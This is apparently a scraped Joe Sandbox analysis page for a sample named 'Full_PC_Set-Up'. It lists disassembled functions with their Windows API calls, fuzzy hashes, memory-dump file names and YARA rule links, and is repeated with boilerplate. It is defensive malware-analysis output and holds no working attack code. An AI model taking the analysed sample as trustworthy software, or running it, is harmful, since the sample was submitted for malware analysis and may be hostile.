Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Rect$Invalidate$ClientScrollShow$CopyMessageSend
String ID:
API String ID: 684410758-0
Opcode ID: 4d87408cf0b07d136307deee4b361349baaf4d048e7830bd35c196dba7703c97
Instruction ID: 0058e2bac0e49aedb887c3003ea2d6dfc56eb45fcb3d4116e693176914f3e1d3
Opcode Fuzzy Hash: 4d87408cf0b07d136307deee4b361349baaf4d048e7830bd35c196dba7703c97
Instruction Fuzzy Hash: 7CD17C712147419FD724DF68C881F6BB7E9AF88700F104A2DF6968B281DBB1F851CB92

Function 002AF550 Relevance: 9.3, APIs: 6, Instructions: 331COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,00000017), ref: 002AF887
GetClientRect.USER32(?,00000017), ref: 002AF937
GetClientRect.USER32(?,00000017), ref: 002AF725

Part of subcall function 00363695: GetWindowRect.USER32(00000000,00000001), ref: 003636CB
Part of subcall function 00363695: SetWindowPos.USER32(00000000,00000000,00000001,?,00000000,00000000,00000015,00000001,?,?,00000001), ref: 003636F6
Part of subcall function 00363695: ScrollWindow.USER32(?,?,?,00000001,?), ref: 00363718

GetClientRect.USER32(?,00000017), ref: 002AF7D7
GetClientRect.USER32(?,00000017), ref: 002AF5C4

Part of subcall function 00363695: IsWindowVisible.USER32(?), ref: 003636A5
Part of subcall function 00363695: GetWindow.USER32(?,00000005), ref: 003636FF

GetClientRect.USER32(?,00000017), ref: 002AF673

Part of subcall function 00362967: GetScrollInfo.USER32(?,00000017,?), ref: 0036299B

Part of subcall function 00362927: SetScrollInfo.USER32(?,?,00000001,?), ref: 00362958

Part of subcall function 00363669: GetScrollPos.USER32(?,?), ref: 0036368A

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Rect$Client$Window$Scroll$Info$Visible
String ID:
API String ID: 2418977876-0
Opcode ID: 0660ce09ce348a3565a729940b2918baefc87495442b56ba9122062e7e7e8b69
Instruction ID: e011e00334638ca11713efe3a7bedfa419bdb8492945e3e45c36b40cb75ffd1a
Opcode Fuzzy Hash: 0660ce09ce348a3565a729940b2918baefc87495442b56ba9122062e7e7e8b69
Instruction Fuzzy Hash: 45C19271244301AFE705AB60C846FAFB7E9EBC8B08F00491DF5899F2D5DBB4E9548B46

Function 002F4EA0 Relevance: 9.2, APIs: 6, Instructions: 227COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F02), ref: 002F4EF3
SetCursor.USER32(00000000), ref: 002F4EFA

Part of subcall function 0036E2A4: IsWindow.USER32(?), ref: 0036E2B2
Part of subcall function 0036E2A4: SendMessageW.USER32(?), ref: 0036E2E0

_memset.LIBCMT ref: 002F4F1F
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 002F4F2D
LoadCursorW.USER32(00000000,00007F00), ref: 002F510C
SetCursor.USER32(00000000), ref: 002F5113

Part of subcall function 002F5730: SendMessageW.USER32(?,0000110A,00000003,?), ref: 002F5748

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Cursor$LoadMessageSend$FromListPathWindow_memset
String ID:
API String ID: 919116407-0
Opcode ID: 8731bb3f0f977f9c5d96e335e17deec1021bb7a9eba16ad899660e107ad9804e
Instruction ID: a6414156e505014b7ed13c972badb91b8ad2bcc6e37fba836d1af7a680794d9a
Opcode Fuzzy Hash: 8731bb3f0f977f9c5d96e335e17deec1021bb7a9eba16ad899660e107ad9804e
Instruction Fuzzy Hash: 8E818D712147019FD324DF28CC49B6AB7E8EF89364F144A2CF559872D2DB35A819CB92

Function 003A93A0 Relevance: 9.2, APIs: 6, Instructions: 215windowCOMMON

Download Yara Rule

APIs

CreateBitmap.GDI32(?,?,00000001,00000001,00000000), ref: 003A9418
CreateBitmap.GDI32(?,?,00000001,00000001,00000000), ref: 003A94A5
DrawStateW.USER32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000004), ref: 003A9524
SelectObject.GDI32(?,?), ref: 003A9536
DeleteObject.GDI32 ref: 003A954C
DeleteObject.GDI32(?), ref: 003A9552

Part of subcall function 003BAF50: _memmove_s.LIBCMT ref: 003BAF91

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Object$BitmapCreateDelete$DrawSelectState_memmove_s
String ID:
API String ID: 3823925500-0
Opcode ID: 1199c6f38f7261c978d6eb4dabc82c0aec912b127e09eccb61b3783c97b03c48
Instruction ID: faf458cbaee99f3ed8cff9693cf85009e0a86e50fe3535103fa7213ae23c1e0d
Opcode Fuzzy Hash: 1199c6f38f7261c978d6eb4dabc82c0aec912b127e09eccb61b3783c97b03c48
Instruction Fuzzy Hash: EE717CB56007019FC724DF29D881A67B3E5FF88710F148A2EE68A87B40D775F856CBA0

Function 0029D3E0 Relevance: 9.2, APIs: 6, Instructions: 207COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000000,?,?,?), ref: 0029D43E
GetClientRect.USER32(?,?), ref: 0029D465
IsRectEmpty.USER32(?), ref: 0029D494
InvalidateRect.USER32(?,?,00000000,?,00000000,?,00000000,?,?,?), ref: 0029D4FF

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Rect$Invalidate$ClientEmpty
String ID:
API String ID: 2685888249-0
Opcode ID: ea18b6e896d3e69885739b659266c4c6b85ce27bb6490ffb84068420e1a7d78f
Instruction ID: ce45eaaf2148328c28bfacd4589e661c7e38bcdf654a75005c3d42ff686869f1
Opcode Fuzzy Hash: ea18b6e896d3e69885739b659266c4c6b85ce27bb6490ffb84068420e1a7d78f
Instruction Fuzzy Hash: 9191BEB46087009FD314CF69C980B5AFBE5BBC8714F108A2EF999873A4DB70E905CB52

Function 002C0970 Relevance: 9.2, APIs: 6, Instructions: 196windowCOMMON

Download Yara Rule

APIs

Part of subcall function 002C08A0: GetClientRect.USER32(?,?), ref: 002C08E1

GetDC.USER32(?), ref: 002C09C7
GetTextExtentPoint32W.GDI32(?,?,?,?), ref: 002C0A05
ReleaseDC.USER32(?,?), ref: 002C0A41
GetClientRect.USER32(?,?), ref: 002C0A50
SendMessageW.USER32(?,00000030,?,00000001), ref: 002C0B2B
InvalidateRect.USER32(?,00000000,00000000,?,?), ref: 002C0B42

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Rect$Client$ExtentInvalidateMessagePoint32ReleaseSendText
String ID:
API String ID: 1903343409-0
Opcode ID: 397609665092e911abe2f4118a7eab8e2784aa2b2fbbe59afd43622fd0b6a492
Instruction ID: a3fd1e1f9e61f23ef8ccbe3b3ae52c4042b72207bc8a1a0f35066735a9faea76
Opcode Fuzzy Hash: 397609665092e911abe2f4118a7eab8e2784aa2b2fbbe59afd43622fd0b6a492
Instruction Fuzzy Hash: CF7159B56143019FC710DF68C8C4E9AB7E9FB88314F044A6DF9998B395DB70E909CB91

Function 003D7840 Relevance: 9.2, APIs: 6, Instructions: 185COMMON

Download Yara Rule

APIs

CopyRect.USER32(?,?), ref: 003D7872
OffsetRect.USER32(?,?,?), ref: 003D7890
IntersectRect.USER32(?,?,?), ref: 003D78C1
IsRectEmpty.USER32(?), ref: 003D7907
IntersectRect.USER32(?,?,?), ref: 003D7924
IntersectRect.USER32(?,?,?), ref: 003D7951

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Rect$Intersect$CopyEmptyOffset
String ID:
API String ID: 827724991-0
Opcode ID: 013cde4bf718a1843f37a1ba46042238c9fb34ddaa8d61f4695893188ffddcba
Instruction ID: 9404f9f8080430f4d971bbbf197e0f46c6f747fbc429d51ba91747b3ce9591f2
Opcode Fuzzy Hash: 013cde4bf718a1843f37a1ba46042238c9fb34ddaa8d61f4695893188ffddcba
Instruction Fuzzy Hash: A261F2762083419FC715DF69D89096BF7E9BBC8700F004A2EFA9687750EB31E905CB92

Function 002EF740 Relevance: 9.2, APIs: 6, Instructions: 173windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000143,00000000), ref: 002EF77D
SendMessageW.USER32(?,00000143,00000000), ref: 002EF7C2
SendMessageW.USER32(?,00000143,00000000), ref: 002EF807
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 002EF839
SendMessageW.USER32(?,0000046F,00000001,00000078), ref: 002EF84F
SendMessageW.USER32(?,0000046F,00000001,0000001F), ref: 002EF860

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 4c33a9335d042bb2d6604a8f9fcdc5b1288d3631c12a3b57df3f5f675565ed15
Instruction ID: 7fb171ed7a691bb0372d01353fe6fed8798c7c6cbebb41a713bafc6802aaaaa4
Opcode Fuzzy Hash: 4c33a9335d042bb2d6604a8f9fcdc5b1288d3631c12a3b57df3f5f675565ed15
Instruction Fuzzy Hash: CA615A741557068FD304EF24E981F9AF3E8AF84790F404A1DF59967292DB30EA19CB72

Function 002C5840 Relevance: 9.2, APIs: 6, Instructions: 168COMMON

Download Yara Rule

APIs

_memmove_s.LIBCMT ref: 002C58CF
_memmove_s.LIBCMT ref: 002C58EB
_memmove_s.LIBCMT ref: 002C593E
_memmove_s.LIBCMT ref: 002C5987
_memmove_s.LIBCMT ref: 002C59A5
_memset.LIBCMT ref: 002C59C1

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memmove_s$_memset
String ID:
API String ID: 2102975174-0
Opcode ID: eb1396c88329e4ccdbc6c57769cc1a577941150ce03a2ae68b2306416795248b
Instruction ID: e9f1d8c0537bf99cd07fd06c1e82e29a7fb22d3cd4c2a43815fb388ddd43a355
Opcode Fuzzy Hash: eb1396c88329e4ccdbc6c57769cc1a577941150ce03a2ae68b2306416795248b
Instruction Fuzzy Hash: D451C071A146159FC708EF288880E3B77A9EF84310B044BADEC45DB30AE671EDA587E1

Function 0037070E Relevance: 9.2, APIs: 6, Instructions: 156networkstringCOMMON

Download Yara Rule

APIs

InternetCanonicalizeUrlW.WININET(00000825,?,00000824,?), ref: 003707C2
GetLastError.KERNEL32 ref: 003707C8
InternetCanonicalizeUrlW.WININET(?,00000000,00000824,?), ref: 00370811
InternetCrackUrlW.WININET(?,00000000,?,02000000), ref: 0037084F
UrlUnescapeW.SHLWAPI(?,00000000,00000000,02100000), ref: 0037086D
lstrlenW.KERNEL32(?), ref: 00370885

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Internet$Canonicalize$CrackErrorLastUnescapelstrlen
String ID:
API String ID: 2961774178-0
Opcode ID: c091ad334b2ab1b61fb07458d457206ac4ffec2ab977e09aa10908e075ca99d5
Instruction ID: 57c0ffef4e293de2e574423516f000064da0b4723b8bc3575af9379269338153
Opcode Fuzzy Hash: c091ad334b2ab1b61fb07458d457206ac4ffec2ab977e09aa10908e075ca99d5
Instruction Fuzzy Hash: 35519571901299EBDB3A8F24DC84AEA77B9FF04340F11819AE94DA6250D7B89DD0CFD1

Function 002E5790 Relevance: 9.2, APIs: 6, Instructions: 151COMMON

Download Yara Rule

APIs

GdipGetImageWidth.GDIPLUS(?,?,?,?,?,?,?,?,?,?,?,?,-00000010,004CC360,000000FF,002ACF8B), ref: 002E5842
GdipGetImageHeight.GDIPLUS(00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000010,004CC360), ref: 002E5868
GdipGetImageHeight.GDIPLUS(00000001,?,00000001,?,?,?,?), ref: 002E588A
GdipGetImageWidth.GDIPLUS ref: 002E58AE
IsRectEmpty.USER32(?), ref: 002E58CE
GetClientRect.USER32(?,00000001), ref: 002E58E1

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: GdipImage$HeightRectWidth$ClientEmpty
String ID:
API String ID: 3304024788-0
Opcode ID: 67a319e8576a0f95c3bc00b3e5eb50f4823abc45489736c00c30371ab7befb27
Instruction ID: db4b71b21634059aa59bbedc03b60d180df83837a9f8d591b004da61e687409f
Opcode Fuzzy Hash: 67a319e8576a0f95c3bc00b3e5eb50f4823abc45489736c00c30371ab7befb27
Instruction Fuzzy Hash: 9B51ACB0624B86DFC314DF25C880A6AB7E4FF89304F508A2DF55A8B250E731E955CF92

Function 00373414 Relevance: 9.1, APIs: 6, Instructions: 140windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0037341B
CoTaskMemFree.OLE32(?,000000FF,?), ref: 003734B8
GetParent.USER32(?), ref: 00373521
SendMessageW.USER32(?,00000464,00000104,?), ref: 00373535
GetParent.USER32(?), ref: 00373568
SendMessageW.USER32(?,00000465,00000104,?), ref: 0037357C

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: MessageParentSend$FreeH_prolog3Task
String ID:
API String ID: 526180827-0
Opcode ID: 39afb43ddf6ad8f86bce7e7ca885f18f6e01925a13e2b92b1922e3af4c60cda3
Instruction ID: 57aa208073fb440cfe1132aa01aaf82917f37615990735966c5662f07d02753f
Opcode Fuzzy Hash: 39afb43ddf6ad8f86bce7e7ca885f18f6e01925a13e2b92b1922e3af4c60cda3
Instruction Fuzzy Hash: DD516770A0021AEFCF15EFA0CC85EBEBB75BF45314B108519F525AB2A1DB34AA51DF90

Function 00405820 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 342COMMON

Download Yara Rule

APIs

__snprintf.LIBCMT ref: 00405857

Strings

png_do_dither returned rowbytes=0, xrefs: 00405ADA
png_do_rgb_to_gray found nongray pixel, xrefs: 00405964, 00405983
NULL row buffer for row %ld, pass %d, xrefs: 0040584B
Uninitialized row, xrefs: 00405870

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
